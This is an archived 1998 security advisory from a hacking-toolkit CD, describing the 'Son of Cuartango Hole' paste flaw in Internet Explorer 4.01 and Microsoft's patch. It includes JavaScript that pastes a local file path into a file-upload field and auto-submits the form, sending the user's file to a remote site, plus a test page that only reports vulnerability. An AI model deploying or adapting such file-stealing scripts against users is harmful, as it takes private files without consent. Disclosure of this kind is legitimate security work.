home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hackers Toolkit v2.0
/
Hackers_Toolkit_v2.0.iso
/
HTML
/
archive
/
Texts
/
hacking
/
cuartango-son.txt
< prev
next >
Wrap
Text File
|
1999-11-04
|
5KB
|
135 lines
The Son of Cuartango Hole
http://pages.whowhere.com/computers/cuartangojc/son1.html
Affected software
Microsoft Internet Explorer 4.01
Fixes
Microsoft has released a fix : Microsoft Security Site
http://www.microsoft.com/security/bulletins/ms98-015.asp
Microsoft names the vulnerability as "Untrusted Scripted Paste".
They have created a new USP patch.
Technical description
There is an input form field used to tranfer files from the browsing computer to a WEB site this
input field is HTML coded as :
<input type="file" name="filename" size="30">
Theoretically this input field can be filled only by the user by clicking a "Browse" button or
typing the file name.
In order to avoid a security hole, script files are not allowed to modify the value of this
input field, the sentence bellow will not work :
document.forms[0].filename = "C:\config.sys";
The Cuartango Hole revealed that a single scripted "copy and paste" operation could write a file
name on the input field, Microsoft's old USP patch fixed this single "copy and paste"
vulnerability.
There is a workaround making the "paste" operation work again. The idea is : create a "textrange"
object with the selection of the file input and then paste over this "textrange" object.
The code below is a bit more sophisticated than the "Cuartango Hole" code :
T1 is a hidden input field defined in a second form containing the file pathname to be copied to
the clipboard.
<body onload="getfile()">
function getfile()
{
document.forms[1].T1.select();
document.execCommand("copy");
document.forms[0].filename.select();
var rng = document.selection.createRange();
rng.execCommand("paste");
document.forms[0].submit();
}
The result is that the file is POSTED to the malicious WEB site defined in the form action
property.
A similar code will also work inside an HTML formatted e-mail.
The Cuartango Hole code was very similar :
function getfile()
{
document.forms[1].T1.select();
document.execCommand("copy");
document.forms[0].filename.select();
document.execCommand("paste");
document.forms[0].submit();
}
Example Exploit
<html>
<head>
<meta name="keywords"
content="son of cuartango hole,cuartango hole,cuartango hack,cuartango,security,security site,USP,USP patch,security web,hack,security,risk,hole,security hole,explorer">
<title>Son of Cuartango Hole Test</title>
<bgsound src="images/gallarda.mid" loop="-1">
</head>
<body onload="getfile()">
<script language="JavaScript">
function getfile()
{
document.forms[0].filename.select(); // onload="getfile()"
var rng = document.selection.createRange();
document.forms[1].T1.select();
document.execCommand("copy");
rng.execCommand("paste");
if(document.forms[0].filename.value == "")
alert("Your browser does not have the security hole");
else
alert("Security hole in browser -- " + navigator.userAgent );
}
</script>
<p align="center"><big><font color="#FF0000"><big><big>The Son of Cuartango Hole Test</big></big></font></big><small></p>
</small>
<p align="center"> </p>
<small>
<form enctype="multipart/form-data" method="post"
action="http://www.angelfire.com/cgi-bin/bedit">
<div align="center"><center><p><strong>This is a test to verify if you are affected by the
Son of Cuartango Hole</strong>.<br>
<strong>If file name (/test.txt) is made visible in the box below then you are effected.</strong></p>
</center></div><div align="center"><center><p> <input type="file" name="filename"
size="15"></p>
</center></div>
</form>
<form method="POST">
<input type="hidden" name="T1" value="/test.txt"><p> </p>
</form>
</small>
<p align="center"><font size="3" color="#0000FF"><a
href="http://pages.whowhere.com/computers/cuartangojc/son1.html"><strong>Back to Son Of
Cuartango Hole page</strong></a></font></p>
<p align="center"> <a href="mailto:cuartangojc@mx3.redestb.es">Juan
Carlos Garcφa Cuartango</a></p>
<p align="center"><font face="Arial"><img src="/cgi-bin/Count.cgi" width="97" height="24"><small><br>
</small></font></p>
<p><font size="2" face="Garamond">Last update 1998 Nov 15 A±o del Se±or de
1998 </font></p>
</body>
</html>